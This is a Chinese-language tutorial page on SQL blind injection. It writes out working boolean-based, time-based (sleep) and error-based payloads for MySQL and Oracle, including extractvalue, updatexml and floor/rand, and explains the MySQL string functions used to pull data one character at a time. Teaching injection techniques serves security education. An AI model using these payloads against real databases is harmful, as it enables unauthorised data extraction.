SQL盲注
如果数据库运行返回结果时只反馈对错不会返回数据库当中的信息
此时可以采用逻辑判断是否正确的盲注来获取信息
盲注是不能通过直接显示的途径来获取数据库数据的方法
1.布尔盲注
2.时间盲注
3.报错型盲注
布尔盲注
某些查询是不需要返回结果的,金判断查询语句是否正确执行,所以其返回可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false.
SELECT userid FROM member WHERE u_name=$name AND u_pass=$pass;
注入语句
name=-1' and (select mid(u_name,1,1) from member where userid=1)='a'
name=-1' and (select mid(u_name,2,1) from member where userid=1)='d'
name=-1' and (select mid(u_name,3,1) from member where userid=1)='m'
name=-1' and (select mid(u_name,4,1) from member where userid=1)='i’
name=-1' and (select mid(u_name,5,1) from member where userid=1)='n'
时间盲注
布尔盲注的关键字符带不进去,这时候可以使用sleep来进行时间盲注,取页面执行时间(结束时间-开始时间)来判断sleep函数是否正常执行,所以其是否正常执行可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false
查询语句
SELECT userid FROM member WHERE u_name=$name AND u_pass=$pass;
注入语句
name=-1' and (select mid(u_name,1,1) from member where userid=1)='a' and (select sleep(3))
name=-1' and (select mid(u_name,2,1) from member where userid=1)='d' and (select sleep(3))
name=-1' and (select mid(u_name,3,1) from member where userid=1)='m' and (select sleep(3))
name=-1' and (select mid(u_name,4,1) from member where userid=1)='i' and (select sleep(3))
name=-1' and (select mid(u_name,5,1) from member where userid=1)='n' and (select sleep(3)
常见报错注入函数
left(a,b)从左侧截取 a 的前 b 位:left(database(),1)>‘s’ substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度。 ascii() 将某个字符转换为 ascii 值:ascii(substr(user),1,1))=101# mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位:
floor(Mysql): and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
Extractvalue(Mysql): and extractvalue(1, concat(0x5c, (select table_name from information_sc hema.tables limit 1)));
Updatexml(Mysql) :and 1=(updatexml(1,concat(0x3a,(select user())),1)) EXP: Exp(~(select * from (select user())a))
UTL_INADDR.get_host_address(Oracle): and 1=utl_inaddr.get_host_address((select banner() from sys.v_$version where rownum=1))
left(a,b)函数
LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。 LEFT(str,length);如果str或length参数为NULL,则返回NULL值。
str是要提取子字符串的字符串
length是一个正整数,指定将从左边返回的字符数
length为0或为负,则LEFT返回一个空字符串 length大于str字符串的长度,则LEFT返回整个str字符串
返回字符串str的长度,以字节为单位。一个多字节字符算作多字节。
在mysql内置函数里面查看字符串长度的还有一个函数是char_length,两个函数的区别是:length: 一个汉 字是算三个字符,一个数字或字母算一个字符。char_length: 不管汉字还是数字或者是字母都算是一个字 符。
这意味着,对于包含五个两字节字符的字符串,LENGTH() 返回10, 而CHAR_LENGTH() 返回5
SBUSTR(str,pos); 就是从pos开始的位置,一直截取到最后。
SUBSTR(str,pos,len);表示从pos开始的位置,截取len个字符(空白也算字符)。
函数ord( )函数返回字符串str的最左面字符的ASCII代码值。
函数mid( )用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server,Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。
函数ord( )函数返回字符串str的最左面字符的ASCII代码值。
函数mid( )用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server,Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。
cast()和convert()函数
MySQL 的CAST()和CONVERT()函数可用来获取一个类型的值,并产生另一个类型的值。
ifnull()函数
IFNULL(A,B)意义是当字段A是NULL时取B,不是NULL时取A的值。
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 刚刚!程序员用力过猛,燃起来了!
- VSCode 中文乱码
- Python获取时间戳
- VScode Python no module的解决方法
- MacOS安装npm全局包的权限问题
- [已解决]报错run `npm audit fix` to fix them, or `npm audit` for details
- Hexo使用攻略-添加分类及标签
- print的简单使用
- 使用Pandas读取大型Excel文件
- 微信小程序获取页面高度
- vue简单实现九宫格抽奖
- [已解决]报错:xlrd.compdoc.CompDocError: Workbook: size exceeds expected 17920 bytes; corrupt?
- [已解决]报错:have mixed types. Specify dtype option on import or set low_memory=False
- Mysql删除表数据,表文件大小不变
- 抓取模板